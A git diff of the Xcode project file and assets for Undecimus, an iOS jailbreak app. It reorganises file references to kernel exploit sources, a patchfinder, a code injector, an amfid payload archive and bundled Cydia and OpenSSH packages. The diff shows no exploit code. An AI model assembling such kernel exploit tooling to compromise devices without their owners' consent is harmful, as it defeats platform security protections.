||||
21C0FC8221369EE900849420 /* KernelStructureOffsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelStructureOffsets.h; sourceTree = "<group>"; };
|
||||
21C0FC8321369EE900849420 /* KernelMemory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelMemory.h; sourceTree = "<group>"; };
|
||||
21C0FC8521369EE900849420 /* empty_list_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = empty_list_sploit.c; sourceTree = "<group>"; };
|
||||
21C0FC8621369EE900849420 /* offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = offsets.m; sourceTree = "<group>"; };
|
||||
21C0FC8621369EE900849420 /* KernelStructureOffsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelStructureOffsets.m; sourceTree = "<group>"; };
|
||||
21C0FC8B21369FC500849420 /* common.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = common.h; sourceTree = "<group>"; };
|
||||
21C0FC8C2136A0D100849420 /* qilin.o */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.objfile"; path = qilin.o; sourceTree = "<group>"; };
|
||||
21C0FC8D2136A0D100849420 /* QiLin.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = QiLin.h; sourceTree = "<group>"; };
|
||||
21C0FC8F2136A2C500849420 /* iokit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = "<group>"; };
|
||||
21C0FC902136A46500849420 /* SpringBoardServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; path = SpringBoardServices.framework; sourceTree = "<group>"; };
|
||||
21C130DE214BC2880021AA9D /* unlocknvram.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = unlocknvram.c; sourceTree = "<group>"; };
|
||||
@@ -103,25 +88,27 @@
|
||||
21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SettingsTableViewController.m; sourceTree = "<group>"; };
|
||||
21C130E9214C03690021AA9D /* CreditsTableViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = CreditsTableViewController.h; sourceTree = "<group>"; };
|
||||
21C130EA214C03690021AA9D /* CreditsTableViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = CreditsTableViewController.m; sourceTree = "<group>"; };
|
||||
21C130FA214C1EBA0021AA9D /* untar.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = untar.c; sourceTree = "<group>"; };
|
||||
21C130FC214C1EC00021AA9D /* untar.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = untar.h; sourceTree = "<group>"; };
|
||||
21C13100214C20950021AA9D /* tar.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = tar.tar; sourceTree = "<group>"; };
|
||||
21C1310F214C2E570021AA9D /* strap.tar.lzma */ = {isa = PBXFileReference; lastKnownFileType = file; path = strap.tar.lzma; sourceTree = "<group>"; };
|
||||
21C13115214C510F0021AA9D /* lzma.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = lzma.tar; sourceTree = "<group>"; };
|
||||
21C13117214D268F0021AA9D /* multi_path_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = multi_path_sploit.c; sourceTree = "<group>"; };
|
||||
21C13118214D268F0021AA9D /* multi_path_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = multi_path_sploit.h; sourceTree = "<group>"; };
|
||||
21C1312E214D5A710021AA9D /* multi_path.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = multi_path.entitlements; sourceTree = "<group>"; };
|
||||
21E9642421A1DD6F000625F7 /* NSTask.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = NSTask.h; sourceTree = "<group>"; };
|
||||
21F4D70C21FC7A590070D5E0 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = patchfinder64.c; path = patchfinder64/patchfinder64.c; sourceTree = SOURCE_ROOT; };
|
||||
21F4D70D21FC7A590070D5E0 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = patchfinder64.h; path = patchfinder64/patchfinder64.h; sourceTree = SOURCE_ROOT; };
|
||||
21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */ = {isa = PBXFileReference; lastKnownFileType = file; path = Painting_With_Chocolate.ttf; sourceTree = "<group>"; };
|
||||
22C546AA21A8A8FD00EFC09C /* utils.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = utils.m; sourceTree = "<group>"; };
|
||||
222AD59221FA731800DCBA2A /* FakeApt.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = FakeApt.m; sourceTree = "<group>"; };
|
||||
222AD59421FA732A00DCBA2A /* FakeApt.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = FakeApt.h; sourceTree = "<group>"; };
|
||||
225D142121E052960045493D /* ArchiveFile.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ArchiveFile.m; sourceTree = "<group>"; };
|
||||
225D142321E055E90045493D /* ArchiveFile.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ArchiveFile.h; sourceTree = "<group>"; };
|
||||
226689DA21EC145000262F66 /* archive.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = archive.h; sourceTree = "<group>"; };
|
||||
226689DB21EC145000262F66 /* libproc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = libproc.h; sourceTree = "<group>"; };
|
||||
226689DC21EC1C5A00262F66 /* libarchive.2.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libarchive.2.tbd; path = usr/lib/libarchive.2.tbd; sourceTree = SDKROOT; };
|
||||
22C546AA21A8A8FD00EFC09C /* utils.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = utils.m; sourceTree = "<group>"; wrapsLines = 1; };
|
||||
22C546AC21A8A91A00EFC09C /* utils.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = utils.h; sourceTree = "<group>"; };
|
||||
22C546B921A8D59C00EFC09C /* amfid_payload.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = amfid_payload.tar; sourceTree = "<group>"; };
|
||||
22C546C121A8D7DA00EFC09C /* resources.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = resources.deb; sourceTree = "<group>"; };
|
||||
22C546C221A8D7FA00EFC09C /* openssh.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = openssh.deb; sourceTree = "<group>"; };
|
||||
22C546C321A8D7FA00EFC09C /* ca-certificates.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = "ca-certificates.deb"; sourceTree = "<group>"; };
|
||||
22C546C421A8D7FA00EFC09C /* openssl.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = openssl.deb; sourceTree = "<group>"; };
|
||||
22C546C521A8D7FA00EFC09C /* cydia.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = cydia.deb; sourceTree = "<group>"; };
|
||||
22C546C621A8D7FA00EFC09C /* cydia-lproj.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = "cydia-lproj.deb"; sourceTree = "<group>"; };
|
||||
22CFED9121CDFE6B00A216BE /* libmis.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libmis.tbd; path = usr/lib/libmis.tbd; sourceTree = SDKROOT; };
|
||||
22F91CD921E02CF200B2FCAE /* inject.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; name = inject.m; path = Injector/inject.m; sourceTree = SOURCE_ROOT; };
|
||||
22F91CDA21E02CF300B2FCAE /* inject.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = inject.h; path = Injector/inject.h; sourceTree = SOURCE_ROOT; };
|
||||
22F91CDE21E02EB000B2FCAE /* snappy.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = snappy.h; path = snappy/snappy.h; sourceTree = SOURCE_ROOT; };
|
||||
22F91CE221E033A500B2FCAE /* libsnappy.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = libsnappy.c; path = snappy/libsnappy.c; sourceTree = SOURCE_ROOT; };
|
||||
8D592A67218E47F60035D2BC /* Main.storyboard */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = file.storyboard; path = Main.storyboard; sourceTree = "<group>"; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
@@ -130,9 +117,9 @@
|
||||
isa = PBXFrameworksBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
2170BD3721B193650059BD10 /* qilin.o in Frameworks */,
|
||||
226689DD21EC1C5A00262F66 /* libarchive.2.tbd in Frameworks */,
|
||||
22CFED9221CDFE6B00A216BE /* libmis.tbd in Frameworks */,
|
||||
2170BDCD21B332FC0059BD10 /* SpringBoardServices.framework in Frameworks */,
|
||||
2170BD3821B193670059BD10 /* libjb.a in Frameworks */,
|
||||
2170BD3B21B193800059BD10 /* libMobileGestalt.tbd in Frameworks */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
@@ -140,9 +127,28 @@
|
||||
/* End PBXFrameworksBuildPhase section */
|
||||
|
||||
/* Begin PBXGroup section */
|
||||
211C372621CE2DD800ADBEA2 /* net */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
211C372721CE2DD800ADBEA2 /* route.h */,
|
||||
);
|
||||
path = net;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
211C372821CE2DD800ADBEA2 /* sys */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
211C372921CE2DD800ADBEA2 /* proc_info.h */,
|
||||
211C372A21CE2DD800ADBEA2 /* kern_control.h */,
|
||||
);
|
||||
path = sys;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21675B62214A68B700D20E2B /* Frameworks */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
226689DC21EC1C5A00262F66 /* libarchive.2.tbd */,
|
||||
22CFED9121CDFE6B00A216BE /* libmis.tbd */,
|
||||
211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */,
|
||||
);
|
||||
name = Frameworks;
|
||||
@@ -151,42 +157,23 @@
|
||||
2170BD3421B192750059BD10 /* include */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
226689DA21EC145000262F66 /* archive.h */,
|
||||
226689DB21EC145000262F66 /* libproc.h */,
|
||||
211C372621CE2DD800ADBEA2 /* net */,
|
||||
211C372521CE2DD700ADBEA2 /* reboot.h */,
|
||||
211C372821CE2DD800ADBEA2 /* sys */,
|
||||
21C0FC8B21369FC500849420 /* common.h */,
|
||||
21C0FC8F2136A2C500849420 /* iokit.h */,
|
||||
21C0FC8D2136A0D100849420 /* QiLin.h */,
|
||||
21A97FC72148103B00DC0023 /* libjb.h */,
|
||||
21E9642421A1DD6F000625F7 /* NSTask.h */,
|
||||
21395357217CBA1000B17F8D /* MobileGestalt.h */,
|
||||
);
|
||||
path = include;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2170BD3521B192A30059BD10 /* libs */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21A97FCF2148103C00DC0023 /* libjb.a */,
|
||||
21C0FC8C2136A0D100849420 /* qilin.o */,
|
||||
);
|
||||
path = libs;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2170BD3621B192B90059BD10 /* resources */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21C1312E214D5A710021AA9D /* multi_path.entitlements */,
|
||||
21466CDD21AEEC9200B99B4C /* spawn.deb */,
|
||||
21466CDB21AEEA3A00B99B4C /* injector.deb */,
|
||||
22C546C321A8D7FA00EFC09C /* ca-certificates.deb */,
|
||||
22C546C621A8D7FA00EFC09C /* cydia-lproj.deb */,
|
||||
22C546C521A8D7FA00EFC09C /* cydia.deb */,
|
||||
22C546C221A8D7FA00EFC09C /* openssh.deb */,
|
||||
22C546C421A8D7FA00EFC09C /* openssl.deb */,
|
||||
22C546C121A8D7DA00EFC09C /* resources.deb */,
|
||||
22C546B921A8D59C00EFC09C /* amfid_payload.tar */,
|
||||
2139534B21763A0B00B17F8D /* rsync.tar */,
|
||||
21C13115214C510F0021AA9D /* lzma.tar */,
|
||||
21C1310F214C2E570021AA9D /* strap.tar.lzma */,
|
||||
21C13100214C20950021AA9D /* tar.tar */,
|
||||
21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */,
|
||||
);
|
||||
path = resources;
|
||||
@@ -195,47 +182,50 @@
|
||||
2170BDCB21B32FF10059BD10 /* source */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2101395321A09BB700F9C5F2 /* hideventsystem.c */,
|
||||
2101395421A09BB700F9C5F2 /* hideventsystem.h */,
|
||||
21C130FC214C1EC00021AA9D /* untar.h */,
|
||||
21C130FA214C1EBA0021AA9D /* untar.c */,
|
||||
21A97FC42148103A00DC0023 /* kexecute.h */,
|
||||
21A97FC82148103B00DC0023 /* kexecute.m */,
|
||||
21A97FCC2148103B00DC0023 /* kutils.c */,
|
||||
21A97FC92148103B00DC0023 /* kutils.h */,
|
||||
21A97FCA2148103B00DC0023 /* patchfinder64.c */,
|
||||
21A97FCB2148103B00DC0023 /* patchfinder64.h */,
|
||||
21A97FCD2148103B00DC0023 /* remote_call.c */,
|
||||
21A97FC52148103B00DC0023 /* remote_call.h */,
|
||||
21A97FC62148103B00DC0023 /* remote_memory.c */,
|
||||
21A97FCE2148103C00DC0023 /* remote_memory.h */,
|
||||
21C130DE214BC2880021AA9D /* unlocknvram.c */,
|
||||
21C130DF214BC2880021AA9D /* unlocknvram.h */,
|
||||
21F4D70B21FC7A490070D5E0 /* patchfinder64 */,
|
||||
22F91CDC21E02D0B00B2FCAE /* snappy */,
|
||||
22F91CD821E02CC700B2FCAE /* injector */,
|
||||
21C0FC6A21369EB700849420 /* AppDelegate.h */,
|
||||
21C0FC6B21369EB700849420 /* AppDelegate.m */,
|
||||
225D142321E055E90045493D /* ArchiveFile.h */,
|
||||
225D142121E052960045493D /* ArchiveFile.m */,
|
||||
212D8849216E4EBE00A36DA5 /* async_wake.c */,
|
||||
212D8848216E4EBE00A36DA5 /* async_wake.h */,
|
||||
212D8846216E4DF600A36DA5 /* early_kalloc.c */,
|
||||
212D8845216E4DF600A36DA5 /* early_kalloc.h */,
|
||||
212D8842216E4C4700A36DA5 /* find_port.c */,
|
||||
212D8843216E4C4700A36DA5 /* find_port.h */,
|
||||
21C0FC8521369EE900849420 /* empty_list_sploit.c */,
|
||||
21C0FC8121369EE900849420 /* empty_list_sploit.h */,
|
||||
212D8842216E4C4700A36DA5 /* find_port.c */,
|
||||
212D8843216E4C4700A36DA5 /* find_port.h */,
|
||||
2101395421A09BB700F9C5F2 /* hideventsystem.h */,
|
||||
2101395321A09BB700F9C5F2 /* hideventsystem.c */,
|
||||
21A97FC42148103A00DC0023 /* KernelExecution.h */,
|
||||
21A97FC82148103B00DC0023 /* KernelExecution.m */,
|
||||
21C0FC8021369EE900849420 /* KernelMemory.c */,
|
||||
21C0FC8321369EE900849420 /* KernelMemory.h */,
|
||||
21C0FC8221369EE900849420 /* KernelStructureOffsets.h */,
|
||||
21C0FC8621369EE900849420 /* KernelStructureOffsets.m */,
|
||||
21A97FC92148103B00DC0023 /* KernelUtilities.h */,
|
||||
21A97FCC2148103B00DC0023 /* KernelUtilities.c */,
|
||||
21C0FC7921369EB800849420 /* main.m */,
|
||||
21C13117214D268F0021AA9D /* multi_path_sploit.c */,
|
||||
21C13118214D268F0021AA9D /* multi_path_sploit.h */,
|
||||
21C0FC8021369EE900849420 /* kmem.c */,
|
||||
21C0FC8321369EE900849420 /* kmem.h */,
|
||||
21C0FC8221369EE900849420 /* offsets.h */,
|
||||
21C0FC8621369EE900849420 /* offsets.m */,
|
||||
21C0FC6A21369EB700849420 /* AppDelegate.h */,
|
||||
21C0FC6B21369EB700849420 /* AppDelegate.m */,
|
||||
21C0FC6D21369EB700849420 /* ViewController.h */,
|
||||
21C0FC6E21369EB700849420 /* ViewController.m */,
|
||||
21A97FC52148103B00DC0023 /* remote_call.h */,
|
||||
21A97FCD2148103B00DC0023 /* remote_call.c */,
|
||||
21A97FC62148103B00DC0023 /* remote_memory.c */,
|
||||
21A97FCE2148103C00DC0023 /* remote_memory.h */,
|
||||
21C0FC6D21369EB700849420 /* JailbreakViewController.h */,
|
||||
21C0FC6E21369EB700849420 /* JailbreakViewController.m */,
|
||||
21C130E4214BDDE20021AA9D /* SettingsTableViewController.h */,
|
||||
21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */,
|
||||
21C0FC7921369EB800849420 /* main.m */,
|
||||
21C130E9214C03690021AA9D /* CreditsTableViewController.h */,
|
||||
21C130EA214C03690021AA9D /* CreditsTableViewController.m */,
|
||||
21C130DE214BC2880021AA9D /* unlocknvram.c */,
|
||||
21C130DF214BC2880021AA9D /* unlocknvram.h */,
|
||||
22C546AC21A8A91A00EFC09C /* utils.h */,
|
||||
22C546AA21A8A8FD00EFC09C /* utils.m */,
|
||||
222AD59421FA732A00DCBA2A /* FakeApt.h */,
|
||||
222AD59221FA731800DCBA2A /* FakeApt.m */,
|
||||
);
|
||||
path = source;
|
||||
sourceTree = "<group>";
|
||||
@@ -272,7 +262,6 @@
|
||||
2170BDCC21B330210059BD10 /* frameworks */,
|
||||
2170BDCB21B32FF10059BD10 /* source */,
|
||||
2170BD3621B192B90059BD10 /* resources */,
|
||||
2170BD3521B192A30059BD10 /* libs */,
|
||||
2170BD3421B192750059BD10 /* include */,
|
||||
8D592A67218E47F60035D2BC /* Main.storyboard */,
|
||||
21C0FC7321369EB800849420 /* Assets.xcassets */,
|
||||
@@ -282,6 +271,33 @@
|
||||
path = Undecimus;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21F4D70B21FC7A490070D5E0 /* patchfinder64 */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21F4D70C21FC7A590070D5E0 /* patchfinder64.c */,
|
||||
21F4D70D21FC7A590070D5E0 /* patchfinder64.h */,
|
||||
);
|
||||
name = patchfinder64;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
22F91CD821E02CC700B2FCAE /* injector */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
22F91CDA21E02CF300B2FCAE /* inject.h */,
|
||||
22F91CD921E02CF200B2FCAE /* inject.m */,
|
||||
);
|
||||
name = injector;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
22F91CDC21E02D0B00B2FCAE /* snappy */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
22F91CE221E033A500B2FCAE /* libsnappy.c */,
|
||||
22F91CDE21E02EB000B2FCAE /* snappy.h */,
|
||||
);
|
||||
name = snappy;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXGroup section */
|
||||
|
||||
/* Begin PBXNativeTarget section */
|
||||
@@ -290,8 +306,8 @@
|
||||
buildConfigurationList = 21C0FC7D21369EB800849420 /* Build configuration list for PBXNativeTarget "Undecimus" */;
|
||||
buildPhases = (
|
||||
21C0FC6321369EB700849420 /* Sources */,
|
||||
21C0FC6421369EB700849420 /* Frameworks */,
|
||||
21C0FC6521369EB700849420 /* Resources */,
|
||||
21C0FC6421369EB700849420 /* Frameworks */,
|
||||
22C546CD21A8E5B800EFC09C /* ShellScript */,
|
||||
);
|
||||
buildRules = (
|
||||
@@ -341,23 +357,10 @@
|
||||
isa = PBXResourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
21466CDE21AEEC9200B99B4C /* spawn.deb in Resources */,
|
||||
21466CDC21AEEA3A00B99B4C /* injector.deb in Resources */,
|
||||
22C546C721A8D8AC00EFC09C /* ca-certificates.deb in Resources */,
|
||||
22C546C821A8D8AC00EFC09C /* cydia-lproj.deb in Resources */,
|
||||
22C546C921A8D8AC00EFC09C /* cydia.deb in Resources */,
|
||||
22C546CA21A8D8AC00EFC09C /* openssh.deb in Resources */,
|
||||
22C546CB21A8D8AC00EFC09C /* openssl.deb in Resources */,
|
||||
22C546CC21A8D8AC00EFC09C /* resources.deb in Resources */,
|
||||
21C13110214C2E570021AA9D /* strap.tar.lzma in Resources */,
|
||||
21C0FC7721369EB800849420 /* LaunchScreen.storyboard in Resources */,
|
||||
8D592A68218E47F60035D2BC /* Main.storyboard in Resources */,
|
||||
21FED6A72168DB460024BC95 /* Painting_With_Chocolate.ttf in Resources */,
|
||||
21C0FC7421369EB800849420 /* Assets.xcassets in Resources */,
|
||||
21C13116214C51100021AA9D /* lzma.tar in Resources */,
|
||||
2139534C21763A0C00B17F8D /* rsync.tar in Resources */,
|
||||
22C546BA21A8D59C00EFC09C /* amfid_payload.tar in Resources */,
|
||||
21C13105214C20950021AA9D /* tar.tar in Resources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
@@ -370,12 +373,13 @@
|
||||
files = (
|
||||
);
|
||||
inputPaths = (
|
||||
"${TARGET_BUILD_DIR}/${INFOPLIST_PATH}",
|
||||
);
|
||||
outputPaths = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "set -e\n# Get path for dpkg\ntouch ~/.profile\n. ~/.profile\nRESOURCES_VERSION=\"$(dpkg --info Undecimus/resources/resources.deb | grep Version: | awk '{print $2}')\"\ndefaults write \"${BUILT_PRODUCTS_DIR}/${WRAPPER_NAME}/Info\" BundledResources \"${RESOURCES_VERSION}\"\n";
|
||||
shellScript = "\"${SOURCE_ROOT}/post.sh\"\n";
|
||||
};
|
||||
/* End PBXShellScriptBuildPhase section */
|
||||
|
||||
@@ -385,26 +389,29 @@
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */,
|
||||
21A97FD12148103C00DC0023 /* kexecute.m in Sources */,
|
||||
21A97FD12148103C00DC0023 /* KernelExecution.m in Sources */,
|
||||
212D8844216E4C4800A36DA5 /* find_port.c in Sources */,
|
||||
22C546AB21A8A8FD00EFC09C /* utils.m in Sources */,
|
||||
212D8841216B9FB400A36DA5 /* patchfinder64.c in Sources */,
|
||||
22F91CE321E033A500B2FCAE /* libsnappy.c in Sources */,
|
||||
21A97FD42148103C00DC0023 /* remote_call.c in Sources */,
|
||||
21C130E0214BC2880021AA9D /* unlocknvram.c in Sources */,
|
||||
21C130FB214C1EBA0021AA9D /* untar.c in Sources */,
|
||||
21C13119214D268F0021AA9D /* multi_path_sploit.c in Sources */,
|
||||
2116449A21737F9500250744 /* ViewController.m in Sources */,
|
||||
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */,
|
||||
21F4D70E21FC7A590070D5E0 /* patchfinder64.c in Sources */,
|
||||
22F91CDB21E02CF300B2FCAE /* inject.m in Sources */,
|
||||
21C1312F214E69F80021AA9D /* empty_list_sploit.c in Sources */,
|
||||
21C0FC8721369EE900849420 /* kmem.c in Sources */,
|
||||
21C0FC8721369EE900849420 /* KernelMemory.c in Sources */,
|
||||
21C0FC7A21369EB800849420 /* main.m in Sources */,
|
||||
212D8847216E4DF600A36DA5 /* early_kalloc.c in Sources */,
|
||||
21A97FD02148103C00DC0023 /* remote_memory.c in Sources */,
|
||||
21A97FD32148103C00DC0023 /* kutils.c in Sources */,
|
||||
21C0FC8A21369EE900849420 /* offsets.m in Sources */,
|
||||
222AD59321FA731800DCBA2A /* FakeApt.m in Sources */,
|
||||
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */,
|
||||
21C0FC8A21369EE900849420 /* KernelStructureOffsets.m in Sources */,
|
||||
212D884A216E4EBF00A36DA5 /* async_wake.c in Sources */,
|
||||
2101395521A09BB700F9C5F2 /* hideventsystem.c in Sources */,
|
||||
21C130EB214C03690021AA9D /* CreditsTableViewController.m in Sources */,
|
||||
21C0FC6C21369EB700849420 /* AppDelegate.m in Sources */,
|
||||
225D142221E052960045493D /* ArchiveFile.m in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
@@ -551,6 +558,9 @@
|
||||
HEADER_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus/include",
|
||||
"$(PROJECT_DIR)/patchfinder64",
|
||||
"$(PROJECT_DIR)/snappy",
|
||||
"$(PROJECT_DIR)/Injector",
|
||||
);
|
||||
INFOPLIST_FILE = Undecimus/Info.plist;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
|
||||
@@ -558,9 +568,9 @@
|
||||
LIBRARY_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus",
|
||||
"$(PROJECT_DIR)/Undecimus/libs",
|
||||
);
|
||||
OTHER_CFLAGS = "";
|
||||
"OTHER_CFLAGS[arch=*]" = "-DUNDECIMUS";
|
||||
OTHER_LDFLAGS = (
|
||||
"-framework",
|
||||
IOKit,
|
||||
@@ -591,6 +601,9 @@
|
||||
HEADER_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus/include",
|
||||
"$(PROJECT_DIR)/patchfinder64",
|
||||
"$(PROJECT_DIR)/snappy",
|
||||
"$(PROJECT_DIR)/Injector",
|
||||
);
|
||||
INFOPLIST_FILE = Undecimus/Info.plist;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 11.0;
|
||||
@@ -598,9 +611,9 @@
|
||||
LIBRARY_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(PROJECT_DIR)/Undecimus",
|
||||
"$(PROJECT_DIR)/Undecimus/libs",
|
||||
);
|
||||
OTHER_CFLAGS = "";
|
||||
"OTHER_CFLAGS[arch=*]" = "-DUNDECIMUS";
|
||||
OTHER_LDFLAGS = (
|
||||
"-framework",
|
||||
IOKit,
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 491 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 3.6 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.7 MiB |
Binary file not shown.
|
Before Width: | Height: | Size: 12 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.1 MiB |
Binary file not shown.
|
Before Width: | Height: | Size: 21 MiB |
+4
-4
@@ -2,17 +2,17 @@
|
||||
"images" : [
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"filename" : "Clouds.png",
|
||||
"filename" : "Clouds.jpg",
|
||||
"scale" : "1x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"filename" : "Clouds@2x.png",
|
||||
"filename" : "Clouds@2x.jpg",
|
||||
"scale" : "2x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"filename" : "Clouds@3x.png",
|
||||
"filename" : "Clouds@3x.jpg",
|
||||
"scale" : "3x"
|
||||
}
|
||||
],
|
||||
@@ -20,4 +20,4 @@
|
||||
"version" : 1,
|
||||
"author" : "xcode"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,7 +17,7 @@
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>v2.0.2</string>
|
||||
<string>AUTOPOPULATED</string>
|
||||
<key>CFBundleURLTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
|
||||
+304
-175
@@ -1,11 +1,11 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="14113" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="fXg-v1-4vE">
|
||||
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="14460.31" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="fXg-v1-4vE">
|
||||
<device id="retina4_0" orientation="portrait">
|
||||
<adaptation id="fullscreen"/>
|
||||
</device>
|
||||
<dependencies>
|
||||
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="14088"/>
|
||||
<capability name="Constraints to layout margins" minToolsVersion="6.0"/>
|
||||
<deployment identifier="iOS"/>
|
||||
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="14460.20"/>
|
||||
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
|
||||
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
|
||||
</dependencies>
|
||||
@@ -18,7 +18,7 @@
|
||||
<!--Jailbreak-->
|
||||
